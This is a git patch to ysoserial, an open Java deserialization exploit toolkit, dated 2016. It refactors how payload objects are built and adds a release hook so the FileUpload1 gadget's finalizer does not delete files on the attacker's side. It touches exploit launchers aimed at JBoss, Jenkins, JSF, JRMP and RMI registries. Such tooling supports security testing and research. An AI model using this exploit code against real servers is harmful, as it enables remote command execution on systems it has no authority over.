From 4795bce7ff4d32778d6e1c672382ca602ff5d0fc Mon Sep 17 00:00:00 2001 From: mbechler Date: Sun, 6 Mar 2016 15:50:59 +0100 Subject: [PATCH] Add hook for payload generators to modify the object before finalizers are called (to fix the fileupload test and also to prevent exploiting yourself, also may be useful for finalizer based gadgets) --- src/main/java/ysoserial/GeneratePayload.java | 1 + src/main/java/ysoserial/exploit/JBoss.java | 24 +-- .../java/ysoserial/exploit/JRMPClient.java | 2 +- .../java/ysoserial/exploit/JRMPListener.java | 1 + src/main/java/ysoserial/exploit/JSF.java | 1 + .../java/ysoserial/exploit/JenkinsCLI.java | 24 +-- .../ysoserial/exploit/JenkinsListener.java | 1 + .../ysoserial/exploit/JenkinsReverse.java | 24 +-- .../ysoserial/exploit/RMIRegistryExploit.java | 6 +- .../java/ysoserial/payloads/FileUpload1.java | 18 +- .../ysoserial/payloads/ObjectPayload.java | 161 +++++++++++------- .../payloads/ReleaseableObjectPayload.java | 17 ++ .../payloads/util/PayloadRunner.java | 9 +- .../ysoserial/payloads/FileUploadTest.java | 7 +- .../java/ysoserial/payloads/PayloadsTest.java | 4 +- 15 files changed, 163 insertions(+), 137 deletions(-) create mode 100644 src/main/java/ysoserial/payloads/ReleaseableObjectPayload.java diff --git a/src/main/java/ysoserial/GeneratePayload.java b/src/main/java/ysoserial/GeneratePayload.java index 7eb1d64..092d7ea 100644 --- a/src/main/java/ysoserial/GeneratePayload.java +++ b/src/main/java/ysoserial/GeneratePayload.java @@ -38,6 +38,7 @@ public class GeneratePayload { final Object object = payload.getObject(command); PrintStream out = System.out; Serializer.serialize(object, out); + ObjectPayload.Utils.releasePayload(payload, object); } catch (Throwable e) { System.err.println("Error while generating or serializing payload"); e.printStackTrace(); diff --git a/src/main/java/ysoserial/exploit/JBoss.java b/src/main/java/ysoserial/exploit/JBoss.java index 58ddd7e..bd45d6a 100644 --- a/src/main/java/ysoserial/exploit/JBoss.java +++ b/src/main/java/ysoserial/exploit/JBoss.java @@ -63,7 +63,6 @@ import org.xnio.XnioWorker; import org.xnio.ssl.JsseXnioSsl; import org.xnio.ssl.XnioSsl; -import ysoserial.payloads.ObjectPayload; import ysoserial.payloads.ObjectPayload.Utils; @@ -97,25 +96,8 @@ public class JBoss { URI u = URI.create(args[ 0 ]); - final Class payloadClass = Utils.getPayloadClass(args[ 1 ]); - if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { - System.err.println("Invalid payload type '" + args[ 1 ] + "'"); - System.exit(-1); - return; - } - - final Object payloadObject; - try { - final ObjectPayload payload = payloadClass.newInstance(); - payloadObject = payload.getObject(args[ 2 ]); - } - catch ( Exception e ) { - System.err.println("Failed to construct payload"); - e.printStackTrace(System.err); - System.exit(-1); - return; - } - + final Object payloadObject = Utils.makePayloadObject(args[1], args[2]); + String username = null; String password = null; if ( u.getUserInfo() != null ) { @@ -131,7 +113,7 @@ public class JBoss { } doRun(u, payloadObject, username, password); - + Utils.releasePayload(args[1], payloadObject); } diff --git a/src/main/java/ysoserial/exploit/JRMPClient.java b/src/main/java/ysoserial/exploit/JRMPClient.java index 7abfc7e..8acb038 100644 --- a/src/main/java/ysoserial/exploit/JRMPClient.java +++ b/src/main/java/ysoserial/exploit/JRMPClient.java @@ -43,7 +43,7 @@ public class JRMPClient { catch ( Exception e ) { e.printStackTrace(System.err); } - + Utils.releasePayload(args[2], payloadObject); } /** diff --git a/src/main/java/ysoserial/exploit/JRMPListener.java b/src/main/java/ysoserial/exploit/JRMPListener.java index 0edb017..c93f3d5 100644 --- a/src/main/java/ysoserial/exploit/JRMPListener.java +++ b/src/main/java/ysoserial/exploit/JRMPListener.java @@ -109,6 +109,7 @@ public class JRMPListener implements Runnable { System.err.println("Listener error"); e.printStackTrace(System.err); } + Utils.releasePayload(args[1], payloadObject); } diff --git a/src/main/java/ysoserial/exploit/JSF.java b/src/main/java/ysoserial/exploit/JSF.java index 6a13b66..ad4164e 100644 --- a/src/main/java/ysoserial/exploit/JSF.java +++ b/src/main/java/ysoserial/exploit/JSF.java @@ -60,6 +60,7 @@ public class JSF { catch ( Exception e ) { e.printStackTrace(System.err); } + Utils.releasePayload(args[1], payloadObject); } diff --git a/src/main/java/ysoserial/exploit/JenkinsCLI.java b/src/main/java/ysoserial/exploit/JenkinsCLI.java index 7bb958b..cbbca3c 100644 --- a/src/main/java/ysoserial/exploit/JenkinsCLI.java +++ b/src/main/java/ysoserial/exploit/JenkinsCLI.java @@ -23,16 +23,12 @@ import hudson.remoting.Callable; import hudson.remoting.Channel; import hudson.remoting.Channel.Mode; import hudson.remoting.ChannelBuilder; -import ysoserial.payloads.ObjectPayload; import ysoserial.payloads.ObjectPayload.Utils; /** * @author mbechler * */ -@SuppressWarnings ( { - "rawtypes" -} ) public class JenkinsCLI { public static final void main ( final String[] args ) { if ( args.length < 3 ) { @@ -40,24 +36,7 @@ public class JenkinsCLI { System.exit(-1); } - final Class payloadClass = Utils.getPayloadClass(args[ 1 ]); - if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { - System.err.println("Invalid payload type '" + args[ 1 ] + "'"); - System.exit(-1); - return; - } - - final Object payloadObject; - try { - final ObjectPayload payload = payloadClass.newInstance(); - payloadObject = payload.getObject(args[ 2 ]); - } - catch ( Exception e ) { - System.err.println("Failed to construct payload"); - e.printStackTrace(System.err); - System.exit(-1); - return; - } + final Object payloadObject = Utils.makePayloadObject(args[1], args[2]); String jenkinsUrl = args[ 0 ]; Channel c = null; @@ -79,6 +58,7 @@ public class JenkinsCLI { } } } + Utils.releasePayload(args[1], payloadObject); } public static Callable getPropertyCallable ( final Object prop ) diff --git a/src/main/java/ysoserial/exploit/JenkinsListener.java b/src/main/java/ysoserial/exploit/JenkinsListener.java index cdb42ec..283b9bb 100644 --- a/src/main/java/ysoserial/exploit/JenkinsListener.java +++ b/src/main/java/ysoserial/exploit/JenkinsListener.java @@ -213,6 +213,7 @@ public class JenkinsListener { final Object object = payload.getObject(payloadArg); objOut.writeObject(object); os.flush(); + ObjectPayload.Utils.releasePayload(payload, object); } catch ( Exception e ) { e.printStackTrace(System.err); diff --git a/src/main/java/ysoserial/exploit/JenkinsReverse.java b/src/main/java/ysoserial/exploit/JenkinsReverse.java index 4dc0e31..057c216 100644 --- a/src/main/java/ysoserial/exploit/JenkinsReverse.java +++ b/src/main/java/ysoserial/exploit/JenkinsReverse.java @@ -9,7 +9,6 @@ import java.util.Random; import hudson.remoting.Channel; import ysoserial.exploit.JRMPListener; import ysoserial.payloads.JRMPClient; -import ysoserial.payloads.ObjectPayload; import ysoserial.payloads.ObjectPayload.Utils; @@ -19,9 +18,6 @@ import ysoserial.payloads.ObjectPayload.Utils; * @author mbechler * */ -@SuppressWarnings ( { - "rawtypes" -} ) public class JenkinsReverse { public static final void main ( final String[] args ) { @@ -30,25 +26,8 @@ public class JenkinsReverse { System.exit(-1); } - final Class payloadClass = Utils.getPayloadClass(args[ 2 ]); - if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { - System.err.println("Invalid payload type '" + args[ 2 ] + "'"); - System.exit(-1); - return; - } - - final Object payloadObject; - try { - final ObjectPayload payload = payloadClass.newInstance(); - payloadObject = payload.getObject(args[ 3 ]); - } - catch ( Exception e ) { - System.err.println("Failed to construct payload"); - e.printStackTrace(System.err); - System.exit(-1); - return; - } + final Object payloadObject = Utils.makePayloadObject(args[2], args[3]); String myAddr = args[ 1 ]; int jrmpPort = new Random().nextInt(65536 - 1024) + 1024; String jenkinsUrl = args[ 0 ]; @@ -90,5 +69,6 @@ public class JenkinsReverse { } } } + Utils.releasePayload(args[2], payloadObject); } } diff --git a/src/main/java/ysoserial/exploit/RMIRegistryExploit.java b/src/main/java/ysoserial/exploit/RMIRegistryExploit.java index c82f4b5..e4eff65 100644 --- a/src/main/java/ysoserial/exploit/RMIRegistryExploit.java +++ b/src/main/java/ysoserial/exploit/RMIRegistryExploit.java @@ -7,6 +7,7 @@ import java.util.concurrent.Callable; import ysoserial.payloads.CommonsCollections1; import ysoserial.payloads.ObjectPayload; +import ysoserial.payloads.ObjectPayload.Utils; import ysoserial.payloads.util.Gadgets; import ysoserial.secmgr.ExecCheckingSecurityManager; @@ -35,7 +36,8 @@ public class RMIRegistryExploit { final Class payloadClass, final String command) throws Exception { new ExecCheckingSecurityManager().wrap(new Callable(){public Void call() throws Exception { - Object payload = payloadClass.newInstance().getObject(command); + ObjectPayload payloadObj = payloadClass.newInstance(); + Object payload = payloadObj.getObject(command); String name = "pwned" + System.nanoTime(); Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class); try { @@ -43,7 +45,7 @@ public class RMIRegistryExploit { } catch (Throwable e) { e.printStackTrace(); } - + Utils.releasePayload(payloadObj, payload); return null; }}); } diff --git a/src/main/java/ysoserial/payloads/FileUpload1.java b/src/main/java/ysoserial/payloads/FileUpload1.java index 38f926d..2171219 100644 --- a/src/main/java/ysoserial/payloads/FileUpload1.java +++ b/src/main/java/ysoserial/payloads/FileUpload1.java @@ -4,7 +4,6 @@ package ysoserial.payloads; import java.io.File; import java.io.IOException; import java.io.OutputStream; -import java.lang.reflect.Field; import java.util.Arrays; import org.apache.commons.codec.binary.Base64; @@ -41,7 +40,7 @@ import ysoserial.payloads.util.Reflections; "commons-io:commons-io:2.4" } ) @PayloadTest(harness="ysoserial.payloads.FileUploadTest") -public class FileUpload1 implements ObjectPayload { +public class FileUpload1 implements ReleaseableObjectPayload { /** * {@inheritDoc} @@ -72,6 +71,17 @@ public class FileUpload1 implements ObjectPayload { } } + /** + * {@inheritDoc} + * @throws Exception + * + * @see ysoserial.payloads.ReleaseableObjectPayload#release(java.lang.Object) + */ + public void release ( DiskFileItem obj ) throws Exception { + // otherwise the finalizer deletes the file + DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null); + Reflections.setFieldValue(obj, "dfos", dfos); + } private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception { return makePayload(0, copyTo, copyAndDelete, new byte[1]); @@ -108,9 +118,7 @@ public class FileUpload1 implements ObjectPayload { DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile); OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream"); os.write(data); - Field writtenF = ThresholdingOutputStream.class.getDeclaredField("written"); - writtenF.setAccessible(true); - writtenF.set(dfos, data.length); + Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length); Reflections.setFieldValue(diskFileItem, "dfos", dfos); Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0); return diskFileItem; diff --git a/src/main/java/ysoserial/payloads/ObjectPayload.java b/src/main/java/ysoserial/payloads/ObjectPayload.java index c14f79a..4772d73 100644 --- a/src/main/java/ysoserial/payloads/ObjectPayload.java +++ b/src/main/java/ysoserial/payloads/ObjectPayload.java @@ -1,70 +1,117 @@ package ysoserial.payloads; + +import java.lang.reflect.Modifier; +import java.util.Iterator; import java.util.Set; import org.reflections.Reflections; import ysoserial.GeneratePayload; -@SuppressWarnings("rawtypes") -public interface ObjectPayload { - /* - * return armed payload object to be serialized that will execute specified - * command on deserialization - */ - public T getObject(String command) throws Exception; - public static class Utils { - // get payload classes by classpath scanning - public static Set> getPayloadClasses() { - final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName()); - final Set> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class); - return payloadTypes; - } +@SuppressWarnings ( "rawtypes" ) +public interface ObjectPayload { - @SuppressWarnings("unchecked") - public - static Class getPayloadClass(final String className) { - Class clazz = null; - try { - clazz = (Class) Class.forName(className); - } catch (Exception e1) { - } - if (clazz == null) { - try { - return clazz = (Class) Class.forName(GeneratePayload.class.getPackage().getName() - + ".payloads." + className); - } catch (Exception e2) { - } - } - if (clazz != null && ! ObjectPayload.class.isAssignableFrom(clazz)) { - clazz = null; - } - return clazz; - } - + /* + * return armed payload object to be serialized that will execute specified + * command on deserialization + */ + public T getObject ( String command ) throws Exception; - /** - * @param payloadType - * @param payloadArg - * @return an payload object - */ - public static Object makePayloadObject ( String payloadType, String payloadArg ) { - final Class payloadClass = getPayloadClass(payloadType); - if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { - throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); - - } + public static class Utils { - final Object payloadObject; - try { - final ObjectPayload payload = payloadClass.newInstance(); - payloadObject = payload.getObject(payloadArg); - } - catch ( Exception e ) { - throw new IllegalArgumentException("Failed to construct payload",e); - } - return payloadObject; - } - } + // get payload classes by classpath scanning + public static Set> getPayloadClasses () { + final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName()); + final Set> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class); + for ( Iterator> iterator = payloadTypes.iterator(); iterator.hasNext(); ) { + Class pc = iterator.next(); + if ( pc.isInterface() || Modifier.isAbstract(pc.getModifiers()) ) { + iterator.remove(); + } + } + return payloadTypes; + } + + + @SuppressWarnings ( "unchecked" ) + public static Class getPayloadClass ( final String className ) { + Class clazz = null; + try { + clazz = (Class) Class.forName(className); + } + catch ( Exception e1 ) {} + if ( clazz == null ) { + try { + return clazz = (Class) Class + .forName(GeneratePayload.class.getPackage().getName() + ".payloads." + className); + } + catch ( Exception e2 ) {} + } + if ( clazz != null && !ObjectPayload.class.isAssignableFrom(clazz) ) { + clazz = null; + } + return clazz; + } + + + /** + * @param payloadType + * @param payloadArg + * @return an payload object + */ + public static Object makePayloadObject ( String payloadType, String payloadArg ) { + final Class payloadClass = getPayloadClass(payloadType); + if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { + throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); + + } + + final Object payloadObject; + try { + final ObjectPayload payload = payloadClass.newInstance(); + payloadObject = payload.getObject(payloadArg); + } + catch ( Exception e ) { + throw new IllegalArgumentException("Failed to construct payload", e); + } + return payloadObject; + } + + + /** + * @param payload + * @param object + * @throws Exception + */ + @SuppressWarnings ( "unchecked" ) + public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception { + if ( payload instanceof ReleaseableObjectPayload ) { + ( (ReleaseableObjectPayload) payload ).release(object); + } + } + + + /** + * @param payloadType + * @param payloadObject + */ + public static void releasePayload ( String payloadType, Object payloadObject ) { + final Class payloadClass = getPayloadClass(payloadType); + if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { + throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); + + } + + try { + final ObjectPayload payload = payloadClass.newInstance(); + releasePayload(payload, payloadObject); + } + catch ( Exception e ) { + e.printStackTrace(); + } + + } + } } diff --git a/src/main/java/ysoserial/payloads/ReleaseableObjectPayload.java b/src/main/java/ysoserial/payloads/ReleaseableObjectPayload.java new file mode 100644 index 0000000..c359772 --- /dev/null +++ b/src/main/java/ysoserial/payloads/ReleaseableObjectPayload.java @@ -0,0 +1,17 @@ +/** + * © 2016 AgNO3 Gmbh & Co. KG + * All right reserved. + * + * Created: 06.03.2016 by mbechler + */ +package ysoserial.payloads; + + +/** + * @author mbechler + * + */ +public interface ReleaseableObjectPayload extends ObjectPayload { + + void release( T obj ) throws Exception; +} diff --git a/src/main/java/ysoserial/payloads/util/PayloadRunner.java b/src/main/java/ysoserial/payloads/util/PayloadRunner.java index 9e074b6..d9d67e1 100644 --- a/src/main/java/ysoserial/payloads/util/PayloadRunner.java +++ b/src/main/java/ysoserial/payloads/util/PayloadRunner.java @@ -7,6 +7,7 @@ import ysoserial.Serializer; import static ysoserial.Deserializer.deserialize; import static ysoserial.Serializer.serialize; import ysoserial.payloads.ObjectPayload; +import ysoserial.payloads.ObjectPayload.Utils; import ysoserial.secmgr.ExecCheckingSecurityManager; /* @@ -22,11 +23,13 @@ public class PayloadRunner { System.out.println("generating payload object(s) for command: '" + command + "'"); - final Object objBefore = clazz.newInstance().getObject(command); + ObjectPayload payload = clazz.newInstance(); + final Object objBefore = payload.getObject(command); System.out.println("serializing payload"); - - return Serializer.serialize(objBefore); + byte[] ser = Serializer.serialize(objBefore); + Utils.releasePayload(payload, objBefore); + return ser; }}); try { diff --git a/src/test/java/ysoserial/payloads/FileUploadTest.java b/src/test/java/ysoserial/payloads/FileUploadTest.java index dd1e84b..69f37dc 100644 --- a/src/test/java/ysoserial/payloads/FileUploadTest.java +++ b/src/test/java/ysoserial/payloads/FileUploadTest.java @@ -30,7 +30,7 @@ public class FileUploadTest implements CustomTest { */ public FileUploadTest () { try { - source = File.createTempFile("fileupload-test", ".source"); + source = File.createTempFile("fut", "-source"); repo = Files.createTempDir(); } catch ( IOException e ) { @@ -43,9 +43,10 @@ public class FileUploadTest implements CustomTest { * * @see ysoserial.CustomTest#run(java.util.concurrent.Callable) */ - public void run ( Callable payload ) throws Exception { + public synchronized void run ( Callable payload ) throws Exception { try { Files.write(FDATA, this.source); + Assert.assertTrue(this.source.exists()); payload.call(); File found = null; @@ -62,8 +63,8 @@ public class FileUploadTest implements CustomTest { f.delete(); } this.repo.delete(); - this.source.delete(); } + this.source.delete(); } } diff --git a/src/test/java/ysoserial/payloads/PayloadsTest.java b/src/test/java/ysoserial/payloads/PayloadsTest.java index 036a392..269b58b 100644 --- a/src/test/java/ysoserial/payloads/PayloadsTest.java +++ b/src/test/java/ysoserial/payloads/PayloadsTest.java @@ -154,7 +154,9 @@ public class PayloadsTest { public byte[] call () throws Exception { ObjectPayload payload = payloadClass.newInstance(); final Object f = payload.getObject(command); - return Serializer.serialize(f); + byte[] serialized = Serializer.serialize(f); + ObjectPayload.Utils.releasePayload(payload, f); + return serialized; } }; }